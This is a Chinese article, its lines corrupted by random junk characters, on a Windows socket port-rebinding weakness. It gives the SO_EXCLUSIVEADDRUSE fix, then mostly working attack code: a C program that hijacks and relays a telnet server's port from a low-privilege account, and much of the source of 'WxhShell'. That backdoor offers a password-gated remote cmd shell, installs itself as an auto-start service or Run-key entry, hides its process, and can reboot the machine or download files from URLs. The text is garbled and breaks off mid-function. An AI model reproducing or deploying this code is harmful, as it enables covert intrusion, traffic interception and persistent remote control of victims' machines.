在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
V]]!0ugvk( s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
k!z.6di lV3k4i RH saddr.sin_family = AF_INET;
*\+oe+ 3 P1L+Vnfu saddr.sin_addr.s_addr = htonl(INADDR_ANY);
D@5h$m5 w|I5x}ZFG bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
>sAaLR4 YVHf-uP 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
K)1Lg?j 55`p~:&VQ 这意味着什么?意味着可以进行如下的攻击:
( ,mV6U% o3GZcH? 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
Nv0a]Am PGZe'r1E9 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
iVVR$uzhH um<$L 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
`X()"Qw 'b [O-6v 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
ETX>wZ AL&<SxuP 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
eC 2~&:$L sAjUX.c 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
jpXbFWgN
9!r0uU" 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
f;+.j/ + mJ[_q> #include
@az<D7j2 #include
$6ucz' #include
EHl~y=9 #include
0.PG]K6 DWORD WINAPI ClientThread(LPVOID lpParam);
8Bc2?NI= int main()
UH7?JF-D {
%y_pF?2@q WORD wVersionRequested;
W7.RA> DWORD ret;
l ~xXy< WSADATA wsaData;
a3:45[SO4e BOOL val;
D;48VK/Q SOCKADDR_IN saddr;
gQ{<2u SOCKADDR_IN scaddr;
'%+LQ"Bp int err;
Cnc=GTRi SOCKET s;
G^;]]Ji" SOCKET sc;
[P6A$HC< int caddsize;
BTOl`U HANDLE mt;
lR
F5/ DWORD tid;
cN2Pl%7 wVersionRequested = MAKEWORD( 2, 2 );
*Br
}U err = WSAStartup( wVersionRequested, &wsaData );
{ /8s`m if ( err != 0 ) {
~U ]%>Zf printf("error!WSAStartup failed!\n");
]A+t@/k return -1;
EronNtu8i }
QiqRx saddr.sin_family = AF_INET;
5>H&0> \ Xrc{wDn //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
-nD}k FyXO @yF saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
c8_,S[W saddr.sin_port = htons(23);
TgLr4Ex if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
?!c7Zx,( {
o5+7Lt] printf("error!socket failed!\n");
$QT% -9& return -1;
VY|UB7,C }
u^2/:L val = TRUE;
:.{d,)G //SO_REUSEADDR选项就是可以实现端口重绑定的
@.dM1DN) if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
}lq$Fi/ {
ojJua c4 printf("error!setsockopt failed!\n");
+,T}x+D return -1;
31]Vo;D }
3UQBIrQ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
l Ny<E!0 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
+,i_G?eX //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
QD-Bt=S7l {q&`B if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
6aAN8wO;b {
$fPiR ret=GetLastError();
3EA_-? printf("error!bind failed!\n");
OzxiT + return -1;
Un+- T }
w8KxEV= listen(s,2);
;?-{Uk while(1)
E1A5<^t {
O|9Nl*rXz caddsize = sizeof(scaddr);
ePSD#kY5 //接受连接请求
UpiZd/K sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
IG%x(\V-e if(sc!=INVALID_SOCKET)
O!F"w!5@ {
0N6 X;M{zh mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
wSALK)T1{ if(mt==NULL)
_jVJkg)] {
,[_)BM printf("Thread Creat Failed!\n");
G 8tK"LC break;
!_dW
` }
{=Py|N\\t }
pUgas?e& CloseHandle(mt);
q #8z%/~k }
!:_krLB< closesocket(s);
!l9#a{#6l WSACleanup();
6Tq2WZ}<' return 0;
Pi%-bD/w }
V Kc`mE DWORD WINAPI ClientThread(LPVOID lpParam)
O=u.J8S2 {
:19s=0 SOCKET ss = (SOCKET)lpParam;
{D]I[7f8Ev SOCKET sc;
N B8Yn\{B unsigned char buf[4096];
u)D!Rh V& SOCKADDR_IN saddr;
\ov]Rn long num;
SS;'g4h\6 DWORD val;
+~;#!I@Di DWORD ret;
!_&;#j]( //如果是隐藏端口应用的话,可以在此处加一些判断
1@+&6UC //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
mm
|* saddr.sin_family = AF_INET;
])zpx- saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
]go.IfH saddr.sin_port = htons(23);
nF
'U* if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
:mdoGb$dr {
V* ,u;* printf("error!socket failed!\n");
b#S-u }1PE return -1;
g(F2IpUm/ }
"?Jf# val = 100;
D]V&1n if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
#hEU)G'$+ {
$BOIa ret = GetLastError();
25;`yB$ return -1;
X(>aW*q }
/\pUA!G)BD if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
>k2^A {
H
.sfM ret = GetLastError();
hSk return -1;
od3b,Q }
z+?48} if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
i_$?sg#=yk {
2bpFQ8q printf("error!socket connect failed!\n");
uVw|jj closesocket(sc);
><)fK5x closesocket(ss);
?bG82@- return -1;
j2 #B l }
Tz/[P:O3 while(1)
7{[i) {
DH4|lb} //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
FJB
/tg //如果是嗅探内容的话,可以再此处进行内容分析和记录
~HBx5Cpi //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
)U2%kmt num = recv(ss,buf,4096,0);
Z1DF ) if(num>0)
&Qv%~dvW send(sc,buf,num,0);
9:Z|Z?>? else if(num==0)
aS+i`A :a break;
MIc(B_q num = recv(sc,buf,4096,0);
j)jt&Gg' if(num>0)
x=Ez hq]X send(ss,buf,num,0);
TyaK_XW else if(num==0)
~A>-tn}O break;
>DR/lBtL }
u%CJjy closesocket(ss);
PO0/C q) closesocket(sc);
d 4; return 0 ;
3,@|kN< }
Z^yn S Dr#V^"Dte < 'r<MA< ==========================================================
X*M-- *0q' A)f/ww)Q 下边附上一个代码,,WXhSHELL
tkhEjTZ -k3WY&9, ==========================================================
]8XIw`:f #U/L8 #include "stdafx.h"
'i8?]`
T 4"V6k4i5 #include <stdio.h>
J2$=H1- #include <string.h>
I,?!NzB #include <windows.h>
7FP
@ v ng #include <winsock2.h>
atfK?VK# #include <winsvc.h>
\
id(P3M #include <urlmon.h>
bg,VK1 l8N5}!N #pragma comment (lib, "Ws2_32.lib")
8EZ,hY^ #pragma comment (lib, "urlmon.lib")
9CHn6 v ~) P6 mDwR #define MAX_USER 100 // 最大客户端连接数
1);E!D[ #define BUF_SOCK 200 // sock buffer
G)7J$4R #define KEY_BUFF 255 // 输入 buffer
hmtDw,j -"n8Wv #define REBOOT 0 // 重启
>
,P,{" #define SHUTDOWN 1 // 关机
f.U.( a~`,zQ -@ #define DEF_PORT 5000 // 监听端口
%A;s3]V ?B:],aztf #define REG_LEN 16 // 注册表键长度
7Y*Q)DDy #define SVC_LEN 80 // NT服务名长度
@XX7ydG5
d>1#| // 从dll定义API
4{ exv typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
; HjT typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
2v1dSdX,W typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
}719_DF typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
<h1J+ &}lRij&` // wxhshell配置信息
/d1V&Lj struct WSCFG {
@-}!o&G0 int ws_port; // 监听端口
Z+! 96LR char ws_passstr[REG_LEN]; // 口令
-<gQ>`(0 int ws_autoins; // 安装标记, 1=yes 0=no
x!9bvQT char ws_regname[REG_LEN]; // 注册表键名
!o/;"'&E char ws_svcname[REG_LEN]; // 服务名
Yk#$-"c/a char ws_svcdisp[SVC_LEN]; // 服务显示名
' ui`EL % char ws_svcdesc[SVC_LEN]; // 服务描述信息
&ETPYf%# char ws_passmsg[SVC_LEN]; // 密码输入提示信息
`k'Dm:*`u4 int ws_downexe; // 下载执行标记, 1=yes 0=no
AG,;1b,:81 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
Kl+4A}Uo char ws_filenam[SVC_LEN]; // 下载后保存的文件名
dY]iAJ b]5S9^=LI };
q|R$A8)L. 4S,/Z{ J. // default Wxhshell configuration
D$bJ s O struct WSCFG wscfg={DEF_PORT,
Z`bo1,6> "xuhuanlingzhe",
SrSm%Dv 1,
*XqS~G "Wxhshell",
%Wb$qpa "Wxhshell",
kv?j]<WN "WxhShell Service",
x\6 i (k- "Wrsky Windows CmdShell Service",
#h7$b@ "Please Input Your Password: ",
'd|E>8fejG 1,
<=!|U0YV
"
http://www.wrsky.com/wxhshell.exe",
#Xd#Ncj "Wxhshell.exe"
ou'|e "tI };
4 {3<
` -*&C "%e // 消息定义模块
N!=Q]\ZD char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
5[>N[}Ck> char *msg_ws_prompt="\n\r? for help\n\r#>";
b'yW+ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
2/FH9T;e". char *msg_ws_ext="\n\rExit.";
d0@czNWIC char *msg_ws_end="\n\rQuit.";
=J&aN1Hgt char *msg_ws_boot="\n\rReboot...";
bR?
$a+a) char *msg_ws_poff="\n\rShutdown...";
vke]VXU9z char *msg_ws_down="\n\rSave to ";
uB uwE6 9IG3zM f char *msg_ws_err="\n\rErr!";
qy~@cPT char *msg_ws_ok="\n\rOK!";
gT4H?
#UB =)y=39&;/ char ExeFile[MAX_PATH];
lIL{*q( int nUser = 0;
jp QmKX HANDLE handles[MAX_USER];
Kkz2N int OsIsNt;
$^"_Fox]A\ ||sj*K SERVICE_STATUS serviceStatus;
3q0^7)m0 SERVICE_STATUS_HANDLE hServiceStatusHandle;
&T/}|3S HA%r:Px // 函数声明
nXF|AeAco int Install(void);
al:c2o int Uninstall(void);
x<e-%HB*- int DownloadFile(char *sURL, SOCKET wsh);
.TWX,# int Boot(int flag);
_7 9 ?,U] void HideProc(void);
Y=N; Bj int GetOsVer(void);
#o-CG PE int Wxhshell(SOCKET wsl);
) _O6_ void TalkWithClient(void *cs);
T@H2[ 7[; int CmdShell(SOCKET sock);
LC:bHM,e int StartFromService(void);
M4TFWOC1 int StartWxhshell(LPSTR lpCmdLine);
PyfOBse}r `` mi9E VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
t#[u
X? VOID WINAPI NTServiceHandler( DWORD fdwControl );
lw"5p)aB z;EnAy {9 // 数据结构和表定义
l<mEGKB# SERVICE_TABLE_ENTRY DispatchTable[] =
k@= LR {
`mTc {wscfg.ws_svcname, NTServiceMain},
/!Kl {NULL, NULL}
7Y(ySW };
P&@[ j0 ewcgg // 自我安装
#ZRplA~C7] int Install(void)
-"e$ VB {
5Pl~du char svExeFile[MAX_PATH];
O6pL )6d HKEY key;
nob^
I5? strcpy(svExeFile,ExeFile);
F
DCHB~D c;e2=
A // 如果是win9x系统,修改注册表设为自启动
Bswd20(w if(!OsIsNt) {
Q35/Sp[;x if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
}X`jhsqT RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
P>t[35/1 RegCloseKey(key);
U)N_/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
6|D,`dk3U RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
VX;tglu2 RegCloseKey(key);
#D{//P|; return 0;
gZr/Dfy }
O/=i'0Xv }
_('KNA~ }
kDG'5X;+ else {
jHx<}< *AU"FI>V // 如果是NT以上系统,安装为系统服务
-cHX3UAEI SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
?geEq' if (schSCManager!=0)
O$=) {
mJ|7Jc SC_HANDLE schService = CreateService
8\^[@9g3\3 (
k98}Jx7J)" schSCManager,
L){rv)?=" wscfg.ws_svcname,
6A& f wscfg.ws_svcdisp,
k&1~yW SERVICE_ALL_ACCESS,
:bA@
u> SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
AT{ewb SERVICE_AUTO_START,
g{cHh(S SERVICE_ERROR_NORMAL,
"kjjq~l svExeFile,
\k|ZbCWg NULL,
&n:F])`2 NULL,
SdfrLdi}Y NULL,
o2ndnIL NULL,
-'|pt,) NULL
Vhww-A );
5)yQrS !{: if (schService!=0)
sQS2U6 {
^m
CloseServiceHandle(schService);
EO;f`s)t CloseServiceHandle(schSCManager);
fxQN strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
7n~BDqT strcat(svExeFile,wscfg.ws_svcname);
j}?O if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
G1"=}Wt` RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
D>O{>;y[
RegCloseKey(key);
F62arDA return 0;
S{NfU/:
dL }
w%1B_PyDg }
X~Li` CloseServiceHandle(schSCManager);
pAV}hB }
T@]vjXd![ }
iD|"} }01 PaEsz$mgy return 1;
&0
VM <
}
{=,?]Z+ ud`.}H~aB // 自我卸载
%Ya-;&;` int Uninstall(void)
<)]B$~(a {
m//(1hWv7 HKEY key;
3
SQ_9{ OX?9 3AlG if(!OsIsNt) {
gtHk1 9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
>=2nAv/( RegDeleteValue(key,wscfg.ws_regname);
J|Lk::Ri RegCloseKey(key);
id.o)= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
56o?=| RegDeleteValue(key,wscfg.ws_regname);
dxkXt k RegCloseKey(key);
@Ey(0BxNu return 0;
VPf*>ph= }
(o\:rLZu }
`\&qk)ZP }
{nbD5 ? else {
Ox&g#,@h zu}h3n5 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
}tU<RvT if (schSCManager!=0)
%t\`20-1< {
VbtFM=Dg SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
#cQ[ vE)y if (schService!=0)
~2~KcgPsq {
S[NV-)r= if(DeleteService(schService)!=0) {
oS$&jd CloseServiceHandle(schService);
cJm!3X CloseServiceHandle(schSCManager);
eR8qO"%2: return 0;
8*)zoT*A }
(G"b)"Qum CloseServiceHandle(schService);
T.HI
$(d }
EPr{1Z CloseServiceHandle(schSCManager);
/
GJ"##< }
j*$GP'Df3 }
{P(Z{9 u% -?!Z/#i4 return 1;
/wCee G,< }
?}B9=R$Pi a7q-*%+d5 // 从指定url下载文件
+iwNM+K/gQ int DownloadFile(char *sURL, SOCKET wsh)
2u6N';jgZ {
B\}E v& HRESULT hr;
W?'!}g(~ char seps[]= "/";
x-U^U.i@ char *token;
$;+B)# char *file;
gW6lMyiLb char myURL[MAX_PATH];
bs]ret$?(q char myFILE[MAX_PATH];
i<1w*yu T{|'<KT strcpy(myURL,sURL);
P,~a'_w:|D token=strtok(myURL,seps);
qEf)TW( while(token!=NULL)
PF!Q2t5c3 {
f b_tda",} file=token;
s iv
KXd token=strtok(NULL,seps);
.$4DK* }
5<a)SP 0 J
C1T033 r GetCurrentDirectory(MAX_PATH,myFILE);
o&?Tz*"l strcat(myFILE, "\\");
d+ih]? strcat(myFILE, file);
!?ayZ5G([ send(wsh,myFILE,strlen(myFILE),0);
#joU}Rj| send(wsh,"...",3,0);
u3 ?+Hu|*T hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
$&k2m^R< if(hr==S_OK)
E[htNin.B~ return 0;
XT= #+ else
PKfxL}:"8 return 1;
=o _d2Ak ^=D77 jS }
_ZD)#? QhZ!A?':U // 系统电源模块
QD<^VY6 int Boot(int flag)
!V@Y \M
d {
cWp
n/.a HANDLE hToken;
Iu(T@",Q# TOKEN_PRIVILEGES tkp;
N!"GwH KL.{)bi if(OsIsNt) {
0tn5>Dsk OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
+tkd($// LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
m3 (fr tkp.PrivilegeCount = 1;
.K}u`v T tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
R.|fc5_"+ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
g;v{JB if(flag==REBOOT) {
DD|%F if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
\(Zdd
\, return 0;
,Xk8{= }
xHykU;p@ else {
.m/Lon E if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
0'BR Sa< return 0;
2{XQDOyA
}
U`<EpO{j| }
N iNZh; else {
'_r|L1 if(flag==REBOOT) {
YcRjbF,|6 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
?8! 4!P%n return 0;
'/;#{(" }
z=>]E1'RL else {
A~nq4@uj if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
_\sm$ `q return 0;
UH%?{>oRh }
Cl<`uW3 }
q'+XTal
vxr3|2` return 1;
k%NY,(:( }
-hp,O?PM A[ /0on5r // win9x进程隐藏模块
'4dnC2a] void HideProc(void)
_h@7>+vl~ {
&sJpn*W pVt-7AgW HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
9S&6u1 if ( hKernel != NULL )
Mk|h ><Q" {
'$1-A%e$1 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
F2oY_mA ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
&E {/s FreeLibrary(hKernel);
6$)Yqg`X }
cy^6g?ew ;c:vzF~Q return;
0[PPVr: }
JYm@Llf)$ XuR!9x^5 // 获取操作系统版本
7F\U|kx_ int GetOsVer(void)
xC<OFpI\ {
NO`a2HR$ OSVERSIONINFO winfo;
)dC%g=dtc winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
G0> 'H1 Z GetVersionEx(&winfo);
b4ORDU if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
r^ #.yUz return 1;
>4~{CXZ else
Xd|@w{.m* return 0;
0\o0(eHCQz }
@WBy:gV" UTin0k // 客户端句柄模块
kX[I|Z= int Wxhshell(SOCKET wsl)
/kx:BoV {
i7e{REBXb SOCKET wsh;
<T struct sockaddr_in client;
%tUJ >qYU DWORD myID;
k[Uc_= /d'^XYOC while(nUser<MAX_USER)
,W*<e- {
z6'zNM7M int nSize=sizeof(client);
@YpA'cX7 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
=,gss&J!! if(wsh==INVALID_SOCKET) return 1;
_Mq@58q' .HZYSY:X handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
E# e=<R if(handles[nUser]==0)
,E)bS7W closesocket(wsh);
&giJO-^
f else
,W{Qv<oo nUser++;
x3wyIio* }
SGNi~o WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
qUpMq:Uw v{?9PRf\s return 0;
z?j~ 2K<4 }
I|Z5*iXqCm fB // 关闭 socket
(zJ
TBI' void CloseIt(SOCKET wsh)
!R{L`T0 {
']Y:f)i# closesocket(wsh);
T`a [~: nUser--;
3gv>AgG ExitThread(0);
eg?vYW }
jn)~@~c eSa ]6 // 客户端请求句柄
^!pagt^ void TalkWithClient(void *cs)
'f;+*~*L {
.%WbXs x0Tb7y`
SOCKET wsh=(SOCKET)cs;
iKp4@6an char pwd[SVC_LEN];
Pb]s+1 char cmd[KEY_BUFF];
;K$E;ZhPN char chr[1];
<-}6X int i,j;
wQM(Lm#Q C+y:<oo) while (nUser < MAX_USER) {
y3;G<9K2c] ix7N q7!N if(wscfg.ws_passstr) {
z%*ZmF ^K if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
+` Em& //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
ub,Sj{Mq" //ZeroMemory(pwd,KEY_BUFF);
wG^{Jf&@$ i=0;
5"XcVH4g while(i<SVC_LEN) {
V)N9V|O' IWm|6@y // 设置超时
aeH
9:GQ6 fd_set FdRead;
7|,5; struct timeval TimeOut;
InPq1AH FD_ZERO(&FdRead);
UnW,|n8 FD_SET(wsh,&FdRead);
R['qBHQ? TimeOut.tv_sec=8;
+(cs,?`\ TimeOut.tv_usec=0;
TmzEZ<} &7 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
x,>@IEN7 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
[Y'Xop6G ,a5I:V^\ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
WNd(X} pwd
=chr[0]; RMLs(?e
if(chr[0]==0xd || chr[0]==0xa) { Z[0xqGYLB
pwd=0; _h@e.BtDs
break; 17<\Q(YQ=
} }4eSB
i++; +sgishqn9
} gR~XkU
xQaN\):^8
// 如果是非法用户,关闭 socket n6L}#aZG
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); SwSBQq%h]M
} h7*fjw-Xz[
g%9I+(?t
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \n:' >:0X!
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (MNbABZQ
5^0W\
while(1) { 9O@eJ$
O]^E%;(]}i
ZeroMemory(cmd,KEY_BUFF); 9.1%T06$
fS!%qr
// 自动支持客户端 telnet标准 #\t?`\L3
j=0; K[T?--H
while(j<KEY_BUFF) { 5;dnxhf
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l4r09"S|V
cmd[j]=chr[0]; uv9cOd
if(chr[0]==0xa || chr[0]==0xd) { SBeb}LZ
cmd[j]=0; 8LR_K]\
break; 5&+
qX
2b
} kS=OX5
j++; EkjO4=~UC
} MK~viSgi
/p X\)wi
// 下载文件 e:!&y\'"9
if(strstr(cmd,"http://")) { t55
'
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0QEVL6gw
if(DownloadFile(cmd,wsh)) U.?,vw'aai
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7M^!t X
else 0[9A*
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ":eHR}Hzx
} XY0Gjo0
else { $]xe,}*Af
MH!'g7iK8
switch(cmd[0]) { d;;]+%
R2t5T-8`c
// 帮助 rf]]I#C7
case '?': { oD~VK,.
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >,32~C
break; 3Yg/-=U(
} ^aXyho
// 安装 "'II~/9
case 'i': { KQQR"[z&V
if(Install()) -i?!em'J
send(wsh,msg_ws_err,strlen(msg_ws_err),0); SaQ_%-p
else vPSH
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0'z$"(6D
break; !*+~R2&b
} Yz.[CmdX
// 卸载 hD # Yz<
case 'r': { r-&4<=C/N
if(Uninstall()) +?nW
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9s5CqB
else 5XA6IL|/l
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )}n`MRDB
break; J%3S3C2*m
} tC-(GDGy5
// 显示 wxhshell 所在路径 _YO`x
case 'p': { @ZD1HA,h"
char svExeFile[MAX_PATH]; *vUKh^="
strcpy(svExeFile,"\n\r"); 0(:"q!h
strcat(svExeFile,ExeFile); />K$_T/]
send(wsh,svExeFile,strlen(svExeFile),0); &[qLl
break; bWUo(B#*I
} [S-NGip
// 重启 rv:,Os_
case 'b': { c?>Q!sC
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); d8dREhK&
if(Boot(REBOOT)) :eei<cn2
send(wsh,msg_ws_err,strlen(msg_ws_err),0); e!G
I<
else { i&{8a3B
closesocket(wsh); *sZOws<
ExitThread(0); f>-OwL($P
} 73 D|gF*
break; QjF.U8
} OHM.xw*?.
// 关机 &{/ `Q,
case 'd': { p>|;fS\`@}
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); B.0(}@
if(Boot(SHUTDOWN)) Gzc{2"p
send(wsh,msg_ws_err,strlen(msg_ws_err),0); osPX%k!yw
else { 1ciP+->$
closesocket(wsh); w*$nG$
ExitThread(0); sqj8c)6
} )uZ<?bkQ
break; >vt#,8VAN
} sAC1Pda
// 获取shell @&mv4zz&W
case 's': { ) dwPD
CmdShell(wsh); YDC[s ^d5
closesocket(wsh); >L?/Ph %d
ExitThread(0); K,?M5n '
break; I_'vVbK+>
} %L<VnY#%u
// 退出 se2+X>@>
case 'x': { `3/,-
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $zyY"yWRZ
CloseIt(wsh); <yE(p
break; 0[);v/@Ho
} WI](a8bm
// 离开 qW$IpuK
case 'q': { Y'%sA~g
send(wsh,msg_ws_end,strlen(msg_ws_end),0); AX<TkS@wjb
closesocket(wsh); }!lLA4XRr
WSACleanup(); }bAd@a9>3
exit(1); vC&y:XMt,`
break; nPR_:_^
} !`)-seTm
} cC&R~h]|
} DZR kK3
HiILJyb
// 提示信息 =36vsps=
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |
z$ba:u5
} 9%>H}7=
} &}YB!6k h^
)=[K$>0k
return; (s,Nq~O
} bx!Sy0PUJ
ZRsDn
// shell模块句柄 @X\Sh>H
int CmdShell(SOCKET sock) ('OPW&fRG
{ LN" bGe
STARTUPINFO si; ?dC[VYC\^
ZeroMemory(&si,sizeof(si)); ,BOB &u
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; XDz![s
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }\OLBg/
PROCESS_INFORMATION ProcessInfo; +mMn1&
char cmdline[]="cmd"; e7>)Z
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ()}O|JL:K
return 0; ;)u}`4~L
} UVxE~801Y
Ajs<a(,6
// 自身启动模式 -TjYQ
int StartFromService(void) eLL>ThMyW
{
yL_-w/a
typedef struct {ZY^tTsY
{ $/Zsy6q:
DWORD ExitStatus; zf5s\w.4
DWORD PebBaseAddress; _+wv3?
c"
DWORD AffinityMask; R]m`v: 9
DWORD BasePriority; FWq6e,
ULONG UniqueProcessId; 0r_8/|N#
